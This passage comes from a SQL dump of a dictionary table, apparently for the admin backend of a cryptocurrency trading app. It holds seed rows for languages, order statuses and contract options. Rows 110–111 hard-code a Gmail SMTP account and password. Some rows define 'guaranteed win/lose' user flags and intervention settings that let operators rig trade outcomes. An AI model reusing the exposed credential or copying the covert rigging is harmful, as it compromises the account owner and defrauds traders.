utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '字典类型', + `css_class` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '样式属性(其他样式扩展)', + `list_class` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '表格回显样式', + `is_default` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT 'N' COMMENT '是否默认(Y是 N否)', + `img_url` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '图片', + `status` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '0' COMMENT '状态(0正常 1停用)', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '创建者', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '更新者', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `remark` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '备注', + PRIMARY KEY (`dict_code`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1185 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '字典数据表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of sys_dict_data +-- ---------------------------- +INSERT INTO `sys_dict_data` VALUES (1, 1, '男', '0', 'sys_user_sex', '', '', 'Y', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '性别男'); +INSERT INTO `sys_dict_data` VALUES (2, 2, '女', '1', 'sys_user_sex', '', '', 'N', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '性别女'); +INSERT INTO `sys_dict_data` VALUES (3, 3, '未知', '2', 'sys_user_sex', '', '', 'N', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '性别未知'); +INSERT INTO `sys_dict_data` VALUES (4, 1, '显示', '0', 'sys_show_hide', '', 'primary', 'Y', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '显示菜单'); +INSERT INTO `sys_dict_data` VALUES (5, 2, '隐藏', '1', 'sys_show_hide', '', 'danger', 'N', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '隐藏菜单'); +INSERT INTO `sys_dict_data` VALUES (6, 1, '正常', '0', 'sys_normal_disable', '', 'primary', 'Y', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '正常状态'); +INSERT INTO `sys_dict_data` VALUES (7, 2, '停用', '1', 'sys_normal_disable', '', 'danger', 'N', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '停用状态'); +INSERT INTO `sys_dict_data` VALUES (8, 1, '正常', '0', 'sys_job_status', '', 'primary', 'Y', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '正常状态'); +INSERT INTO `sys_dict_data` VALUES (9, 2, '暂停', '1', 'sys_job_status', '', 'danger', 'N', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '停用状态'); +INSERT INTO `sys_dict_data` VALUES (10, 1, '默认', 'DEFAULT', 'sys_job_group', '', '', 'Y', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '默认分组'); +INSERT INTO `sys_dict_data` VALUES (11, 2, '系统', 'SYSTEM', 'sys_job_group', '', '', 'N', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '系统分组'); +INSERT INTO `sys_dict_data` VALUES (12, 1, '是', 'Y', 'sys_yes_no', '', 'primary', 'Y', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '系统默认是'); +INSERT INTO `sys_dict_data` VALUES (13, 2, '否', 'N', 'sys_yes_no', '', 'danger', 'N', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '系统默认否'); +INSERT INTO `sys_dict_data` VALUES (14, 1, '通知', '1', 'sys_notice_type', '', 'warning', 'Y', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '通知'); +INSERT INTO `sys_dict_data` VALUES (15, 2, '公告', '2', 'sys_notice_type', '', 'success', 'N', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '公告'); +INSERT INTO `sys_dict_data` VALUES (16, 1, '正常', '0', 'sys_notice_status', '', 'primary', 'Y', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '正常状态'); +INSERT INTO `sys_dict_data` VALUES (17, 2, '关闭', '1', 'sys_notice_status', '', 'danger', 'N', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '关闭状态'); +INSERT INTO `sys_dict_data` VALUES (18, 99, '其他', '0', 'sys_oper_type', '', 'info', 'N', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '其他操作'); +INSERT INTO `sys_dict_data` VALUES (19, 1, '新增', '1', 'sys_oper_type', '', 'info', 'N', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '新增操作'); +INSERT INTO `sys_dict_data` VALUES (20, 2, '修改', '2', 'sys_oper_type', '', 'info', 'N', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '修改操作'); +INSERT INTO `sys_dict_data` VALUES (21, 3, '删除', '3', 'sys_oper_type', '', 'danger', 'N', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '删除操作'); +INSERT INTO `sys_dict_data` VALUES (22, 4, '授权', '4', 'sys_oper_type', '', 'primary', 'N', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '授权操作'); +INSERT INTO `sys_dict_data` VALUES (23, 5, '导出', '5', 'sys_oper_type', '', 'warning', 'N', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '导出操作'); +INSERT INTO `sys_dict_data` VALUES (24, 6, '导入', '6', 'sys_oper_type', '', 'warning', 'N', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '导入操作'); +INSERT INTO `sys_dict_data` VALUES (25, 7, '强退', '7', 'sys_oper_type', '', 'danger', 'N', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '强退操作'); +INSERT INTO `sys_dict_data` VALUES (26, 8, '生成代码', '8', 'sys_oper_type', '', 'warning', 'N', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '生成操作'); +INSERT INTO `sys_dict_data` VALUES (27, 9, '清空数据', '9', 'sys_oper_type', '', 'danger', 'N', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '清空操作'); +INSERT INTO `sys_dict_data` VALUES (28, 1, '成功', '0', 'sys_common_status', '', 'primary', 'N', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '正常状态'); +INSERT INTO `sys_dict_data` VALUES (29, 2, '失败', '1', 'sys_common_status', '', 'danger', 'N', NULL, '0', 'admin', '2023-06-24 15:31:37', '', NULL, '停用状态'); +INSERT INTO `sys_dict_data` VALUES (100, 1, 'USDT-ERC', 'usdt', 'currency_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-06-30 18:22:51', 'admin', '2023-07-04 15:33:30', NULL); +INSERT INTO `sys_dict_data` VALUES (101, 3, 'BTC', 'btcusdt', 'currency_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-06-30 18:23:11', 'admin', '2023-07-04 15:34:59', NULL); +INSERT INTO `sys_dict_data` VALUES (102, 4, 'ETH', 'ethusdt', 'currency_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-06-30 18:23:26', 'admin', '2023-07-04 15:35:12', NULL); +INSERT INTO `sys_dict_data` VALUES (103, 2, 'USDT-TRC', 'usdt', 'currency_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-06-30 18:23:42', 'admin', '2023-07-04 15:34:27', NULL); +INSERT INTO `sys_dict_data` VALUES (104, 1, 'login', '1', 'login_register_open', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-03 15:47:20', 'admin', '2023-07-03 15:48:16', NULL); +INSERT INTO `sys_dict_data` VALUES (105, 2, 'email', '2', 'login_register_open', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-03 15:47:28', 'admin', '2023-07-03 15:48:11', NULL); +INSERT INTO `sys_dict_data` VALUES (106, 3, 'phone', '3', 'login_register_open', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-03 15:47:38', 'admin', '2023-07-03 15:48:07', NULL); +INSERT INTO `sys_dict_data` VALUES (107, 4, 'adress', '4', 'login_register_open', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-03 15:48:02', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (108, 0, 'mail.template', 'bindCodeEmail.ftl', 't_app_email', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-03 15:49:58', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (109, 1, 'mail.appName', 'ECHO', 't_app_email', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-03 15:50:18', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (110, 2, 'mail.username', 'pipixia0528@gmail.com', 't_app_email', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-03 15:50:38', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (111, 3, 'mail.password', 'gbpsjtgzdxplaevi', 't_app_email', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-03 15:50:57', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (112, 4, 'mail.host', 'smtp.gmail.com', 't_app_email', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-03 15:51:16', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (113, 5, 'mail.port', '465', 't_app_email', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-03 15:51:37', 'admin', '2023-07-03 15:51:43', NULL); +INSERT INTO `sys_dict_data` VALUES (114, 6, 'mail.smtp.socketFactory.class', 'javax.net.ssl.SSLSocketFactory', 't_app_email', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-03 15:52:01', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (115, 7, 'mail.properties.mail.smtp.auth', 'true', 't_app_email', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-03 15:52:19', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (116, 8, 'mail.properties.mail.smtp.starttls.enable', 'true', 't_app_email', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-03 15:52:37', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (117, 9, 'mail.properties.mail.smtp.starttls.required', 'true', 't_app_email', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-03 15:52:57', 'admin', '2023-07-03 15:53:01', NULL); +INSERT INTO `sys_dict_data` VALUES (118, 0, '普通用户', '0', 'sys_user_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-03 14:41:22', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (119, 1, '组长', '1', 'sys_user_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-03 14:41:51', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (120, 2, '代理', '2', 'sys_user_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-03 14:42:01', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (121, 0, '实名认证(初级)', 'app.verified.primary', 'app_sidebar_setting', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-07 15:40:38', 'admin', '2023-07-07 15:40:51', NULL); +INSERT INTO `sys_dict_data` VALUES (122, 1, '实名认证(高级)', 'app.verified.advanced', 'app_sidebar_setting', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-07 15:41:12', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (123, 2, '绑定银行卡', 'app.bind.bank', 'app_sidebar_setting', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-07 15:42:05', 'admin', '2023-07-07 15:42:12', NULL); +INSERT INTO `sys_dict_data` VALUES (124, 3, '设置资金密码', 'app.tard.pwd', 'app_sidebar_setting', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-07 15:43:10', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (125, 4, '设置登陆密码', 'app.login.pwd', 'app_sidebar_setting', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-07 15:44:27', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (126, 5, '邮箱认证', 'app.email.certified', 'app_sidebar_setting', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-07 15:46:11', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (127, 7, '服务条款', 'app.terms.service', 'app_sidebar_setting', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-07 15:46:54', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (128, 8, '白皮书', 'app.white.paper', 'app_sidebar_setting', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-07 15:48:01', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (129, 9, '语言', 'app.language', 'app_sidebar_setting', NULL, 'default', 'N', NULL, '0', 'admin', '2023-07-07 15:48:52', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (601, 4, '中文(简体)', 'zh', 't_app_language', 'cn', 'success', 'Y', 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.02877f2fcc3f44c6689306d8039a0d20c.png', '0', 'tecom', '2022-05-24 20:18:56', 'admin', '2023-08-11 13:51:14', '中文(简体)'); +INSERT INTO `sys_dict_data` VALUES (603, 1, '英语', 'en', 't_app_language', 'us', 'success', 'N', 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.09d81740435c046b887686bfce921ec53.png', '0', 'tecom', '2022-05-24 20:18:56', 'admin', '2023-08-24 14:54:50', 'English'); +INSERT INTO `sys_dict_data` VALUES (604, 4, '葡萄牙语', 'pt', 't_app_language', 'pt', 'success', 'N', 'http://192.168.3.47:8080/profile/upload/2023/08/04/putaoya_20230804155310A024.png', '1', 'tecom', '2022-05-24 20:18:56', 'admin', '2023-08-04 15:53:12', 'Português'); +INSERT INTO `sys_dict_data` VALUES (606, 3, '韩语', 'ko', 't_app_language', 'kr', 'success', 'N', 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0ed68f6ddb2ae4f4bad26324135f723b5.png', '0', 'tecom', '2022-05-24 20:18:56', 'admin', '2023-08-11 13:50:49', '한국인'); +INSERT INTO `sys_dict_data` VALUES (607, 2, '日语', 'ja', 't_app_language', 'jp', 'success', 'N', 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.09bc6c590afa84f0780893393bbfe6f8b.png', '0', 'tecom', '2022-05-24 20:18:56', 'admin', '2023-08-11 13:50:38', '日本語'); +INSERT INTO `sys_dict_data` VALUES (608, 8, '西班牙语', 'es', 't_app_language', 'es', 'success', 'N', 'http://192.168.3.47:8080/profile/upload/2023/08/04/xibanya_20230804155236A022.png', '1', 'tecom', '2022-05-24 20:18:56', 'admin', '2023-08-04 15:52:37', 'español'); +INSERT INTO `sys_dict_data` VALUES (609, 6, '泰语', 'th', 't_app_language', 'th', 'success', 'N', 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0d2d169261acd4ec38301f0463f4d3610.png', '0', 'tecom', '2022-05-24 20:18:56', 'admin', '2023-08-11 13:51:51', 'ไทย'); +INSERT INTO `sys_dict_data` VALUES (612, 99, '法语', 'fr', 't_app_language', 'fr', 'success', 'N', 'http://192.168.3.47:8080/profile/upload/2023/08/04/faguo_20230804155338A026.png', '1', 'tecom', '2022-05-24 20:18:56', 'admin', '2023-08-04 15:53:40', 'Français'); +INSERT INTO `sys_dict_data` VALUES (613, 99, '俄语', 'ru', 't_app_language', 'ru', 'success', 'N', 'http://192.168.3.47:8080/profile/upload/2023/08/04/eguo_20230804155411A028.png', '1', 'tecom', '2022-05-24 20:18:56', 'admin', '2023-08-04 15:54:12', 'Русский язык'); +INSERT INTO `sys_dict_data` VALUES (627, 5, '越南语', 'vi', 't_app_language', 'vn', 'success', 'N', 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0a119950ef2af4521b3a3943cfc49de98.png', '0', 'tecom', '2022-05-31 20:10:26', 'admin', '2023-08-11 13:51:38', 'Tiếng Việt'); +INSERT INTO `sys_dict_data` VALUES (882, 99, '德语', 'de', 't_app_language', 'de', 'success', 'N', NULL, '1', 'ppp007', '2022-11-03 13:57:14', 'admin', '2023-08-03 14:46:22', 'Deutsch'); +INSERT INTO `sys_dict_data` VALUES (883, 99, '立陶宛语', 'it', 't_app_language', 'it', 'success', 'N', NULL, '1', 'ppp007', '2022-11-03 13:57:56', 'admin', '2023-08-03 14:46:25', 'Italian'); +INSERT INTO `sys_dict_data` VALUES (947, 99, '中文(繁體)', 'tw', 't_app_language', 'cn', 'success', 'N', 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0c9d4ed570f5647f7b3d0421321c601e6.png', '0', 'ppp008', '2023-04-20 14:37:54', 'admin', '2023-08-11 13:52:06', '中文(繁體)'); +INSERT INTO `sys_dict_data` VALUES (948, 0, '到期一次还本息', '0', 't_repay_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-01 16:54:49', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (949, 0, '测试用户', '1', 'user_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-02 13:36:29', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (950, 0, '正常用户', '0', 'user_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-02 13:36:38', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (951, 0, '正常', '1', 'user_freeze', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-02 13:38:19', 'admin', '2023-08-02 13:52:59', NULL); +INSERT INTO `sys_dict_data` VALUES (952, 1, '冻结', '2', 'user_freeze', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-02 13:38:27', 'admin', '2023-08-02 13:53:04', NULL); +INSERT INTO `sys_dict_data` VALUES (953, 0, 'ETH', 'ETH', 'user_address_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-02 13:51:31', 'admin', '2023-08-02 13:51:44', NULL); +INSERT INTO `sys_dict_data` VALUES (954, 1, 'TRC', 'TRC', 'user_address_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-02 13:51:52', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (955, 0, '正常', '0', 'user_buff_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-02 13:54:30', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (956, 1, '包赢 ', '1', 'user_buff_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-02 13:54:42', 'admin', '2023-08-02 13:54:55', NULL); +INSERT INTO `sys_dict_data` VALUES (957, 2, '包输', '2', 'user_buff_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-02 13:54:50', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (958, 0, '已审核', '1', 'audit_status', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-02 14:20:39', 'admin', '2023-08-21 19:03:24', NULL); +INSERT INTO `sys_dict_data` VALUES (959, 1, '已拒绝', '2', 'audit_status', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-02 14:20:57', 'admin', '2023-08-21 19:04:47', NULL); +INSERT INTO `sys_dict_data` VALUES (960, 2, '待审核', '3', 'audit_status', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-02 14:21:07', 'admin', '2023-08-21 19:04:03', NULL); +INSERT INTO `sys_dict_data` VALUES (1100, 0, '待成交', '0', 'sys_contract_status', NULL, 'primary', 'N', NULL, '0', 'admin', '2023-08-03 15:40:45', 'admin', '2023-08-03 16:03:45', NULL); +INSERT INTO `sys_dict_data` VALUES (1101, 0, '完全成交', '1', 'sys_contract_status', '1', 'success', 'N', NULL, '0', 'admin', '2023-08-03 15:40:57', 'admin', '2023-08-03 16:03:51', NULL); +INSERT INTO `sys_dict_data` VALUES (1102, 0, '部分成交', '2', 'sys_contract_status', '2', 'primary', 'N', NULL, '0', 'admin', '2023-08-03 15:41:05', 'admin', '2023-08-03 16:03:59', NULL); +INSERT INTO `sys_dict_data` VALUES (1103, 0, '已撤销', '3', 'sys_contract_status', '3', 'warning', 'N', NULL, '0', 'admin', '2023-08-03 15:41:13', 'admin', '2023-08-03 16:04:07', NULL); +INSERT INTO `sys_dict_data` VALUES (1104, 0, '买入做多', '0', 'sys_ucontract_tradetype', '0', 'primary', 'N', NULL, '0', 'admin', '2023-08-03 16:00:40', 'admin', '2023-08-03 16:05:18', NULL); +INSERT INTO `sys_dict_data` VALUES (1105, 0, '卖出开空', '1', 'sys_ucontract_tradetype', '1', 'warning', 'N', NULL, '0', 'admin', '2023-08-03 16:00:59', 'admin', '2023-08-03 16:04:27', NULL); +INSERT INTO `sys_dict_data` VALUES (1106, 0, '限价', '0', 'sys_ucontract_delegatetype', '0', 'warning', 'N', NULL, '0', 'admin', '2023-08-03 16:09:43', 'admin', '2023-08-03 16:10:29', NULL); +INSERT INTO `sys_dict_data` VALUES (1107, 0, '市价', '1', 'sys_ucontract_delegatetype', '1', 'primary', 'N', NULL, '0', 'admin', '2023-08-03 16:10:15', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1108, 0, '启用', '0', 'con_ucontract_show', '0', 'success', 'N', NULL, '0', 'admin', '2023-08-03 16:55:06', 'admin', '2023-08-03 16:55:53', NULL); +INSERT INTO `sys_dict_data` VALUES (1109, 0, '禁止', '1', 'con_ucontract_show', '1', 'info', 'N', NULL, '0', 'admin', '2023-08-03 16:55:32', 'admin', '2023-08-03 16:55:37', NULL); +INSERT INTO `sys_dict_data` VALUES (1110, 0, '启用', '0', 'con_ucontract_enable', 'mini', 'success', 'N', NULL, '0', 'admin', '2023-08-03 16:57:00', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1111, 0, '禁用', '1', 'con_ucontract_enable', 'mini', 'info', 'N', NULL, '0', 'admin', '2023-08-03 16:57:28', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1112, 0, '是', '0', 'con_ucontract_trade', 'mini', 'success', 'N', NULL, '0', 'admin', '2023-08-03 16:57:55', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1113, 0, '否', '1', 'con_ucontract_trade', 'mini', 'info', 'N', NULL, '0', 'admin', '2023-08-03 16:58:12', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1114, 0, '待审核', '0', 'recharge_order_status', 'mini', 'primary', 'N', NULL, '0', 'admin', '2023-08-03 17:14:34', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1115, 0, '成功', '1', 'recharge_order_status', 'mini', 'success', 'N', NULL, '0', 'admin', '2023-08-03 17:14:59', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1116, 0, '失败', '2', 'recharge_order_status', NULL, 'info', 'N', NULL, '0', 'admin', '2023-08-03 17:15:23', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1117, 0, '超时失败', '3', 'recharge_order_status', NULL, 'info', 'N', NULL, '0', 'admin', '2023-08-03 17:15:47', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1118, 0, '通道失败', '4', 'recharge_order_status', NULL, 'info', 'N', NULL, '0', 'admin', '2023-08-03 17:15:58', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1119, 0, '审核中', '0', 'withdraw_order_status', NULL, 'primary', 'N', NULL, '0', 'admin', '2023-08-03 17:20:14', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1120, 0, '成功', '1', 'withdraw_order_status', NULL, 'success', 'N', NULL, '0', 'admin', '2023-08-03 17:21:30', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1121, 0, '失败', '2', 'withdraw_order_status', NULL, 'info', 'N', NULL, '0', 'admin', '2023-08-03 17:21:41', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1122, 0, '锁定', '3', 'withdraw_order_status', NULL, 'warning', 'N', NULL, '0', 'admin', '2023-08-03 17:21:56', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1124, 0, '平台资产', '1', 'user_asset_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-07 10:40:22', 'admin', '2023-08-07 10:41:01', NULL); +INSERT INTO `sys_dict_data` VALUES (1125, 1, '理财资产', '2', 'user_asset_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-07 10:40:33', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1126, 2, '合约账户', '3', 'user_asset_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-07 10:40:50', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1127, 0, '是', '0', 'con_ucontract_openbuy', NULL, 'success', 'N', NULL, '0', 'admin', '2023-08-05 15:50:40', 'admin', '2023-08-05 15:50:51', NULL); +INSERT INTO `sys_dict_data` VALUES (1128, 0, '否', '1', 'con_ucontract_openbuy', NULL, 'info', 'N', NULL, '0', 'admin', '2023-08-05 15:51:03', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1129, 0, '是', '0', 'con_ucontract_opensell', NULL, 'success', 'N', NULL, '0', 'admin', '2023-08-05 15:51:21', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1130, 0, '否', '1', 'con_ucontract_opensell', NULL, 'info', 'N', NULL, '0', 'admin', '2023-08-05 15:51:33', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1131, 0, '是', '0', 'con_ucontract_marketsell', NULL, 'success', 'N', NULL, '0', 'admin', '2023-08-05 15:52:32', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1132, 0, '否', '1', 'con_ucontract_marketsell', NULL, 'info', 'N', NULL, '0', 'admin', '2023-08-05 15:52:41', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1133, 0, '是', '0', 'con_ucontract_marketbuy', NULL, 'success', 'N', NULL, '0', 'admin', '2023-08-05 15:53:04', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1134, 0, '否', '1', 'con_ucontract_marketbuy', NULL, 'info', 'N', NULL, '0', 'admin', '2023-08-05 15:53:13', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1135, 0, '赢', '1', 'coin_quickly_status', NULL, 'success', 'N', NULL, '0', 'admin', '2023-08-05 16:39:35', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1136, 0, '输', '2', 'coin_quickly_status', NULL, 'danger', 'N', NULL, '0', 'admin', '2023-08-05 16:39:50', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1137, 0, '平', '3', 'coin_quickly_status', NULL, 'warning', 'N', NULL, '0', 'admin', '2023-08-05 16:40:02', 'admin', '2023-08-05 16:40:15', NULL); +INSERT INTO `sys_dict_data` VALUES (1138, 0, '参与中', '0', 'coin_quickly_result', NULL, 'primary', 'N', NULL, '0', 'admin', '2023-08-05 16:40:36', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1139, 0, '已开奖', '1', 'coin_quickly_result', NULL, 'success', 'N', NULL, '0', 'admin', '2023-08-05 16:40:50', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1140, 0, '已撤销', '2', 'coin_quickly_result', NULL, 'warning', 'N', NULL, '0', 'admin', '2023-08-05 16:41:02', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1141, 0, '正常', '0', 'coin_quickly_sign', NULL, 'primary', 'N', NULL, '0', 'admin', '2023-08-05 16:45:30', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1142, 0, '包赢', '1', 'coin_quickly_sign', NULL, 'success', 'N', NULL, '0', 'admin', '2023-08-05 16:45:44', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1143, 0, '包输', '2', 'coin_quickly_sign', NULL, 'danger', 'N', NULL, '0', 'admin', '2023-08-05 16:46:02', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1144, 0, '是', '0', 'coin_quickly_intervene', NULL, 'success', 'N', NULL, '0', 'admin', '2023-08-05 17:33:44', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1145, 0, '否', '1', 'coin_quickly_intervene', NULL, 'info', 'N', NULL, '0', 'admin', '2023-08-05 17:33:53', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1146, 1, '涨', '1', 'coin_quickly_direction', NULL, 'success', 'N', NULL, '0', 'admin', '2023-08-05 17:34:50', 'admin', '2023-08-10 17:12:24', NULL); +INSERT INTO `sys_dict_data` VALUES (1147, 0, '跌', '0', 'coin_quickly_direction', NULL, 'danger', 'N', NULL, '0', 'admin', '2023-08-05 17:34:59', 'admin', '2023-08-10 17:12:19', NULL); +INSERT INTO `sys_dict_data` VALUES (1148, 0, '平台资产', '1', 't_asset_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-15 14:46:15', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1149, 1, '理财资产', '2', 't_asset_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-15 14:46:24', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1150, 2, '合约账户', '3', 't_asset_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-15 14:46:35', 'admin', '2023-08-15 14:46:43', NULL); +INSERT INTO `sys_dict_data` VALUES (1151, 1, 'USDT', '0', 'defi_activity_type', NULL, 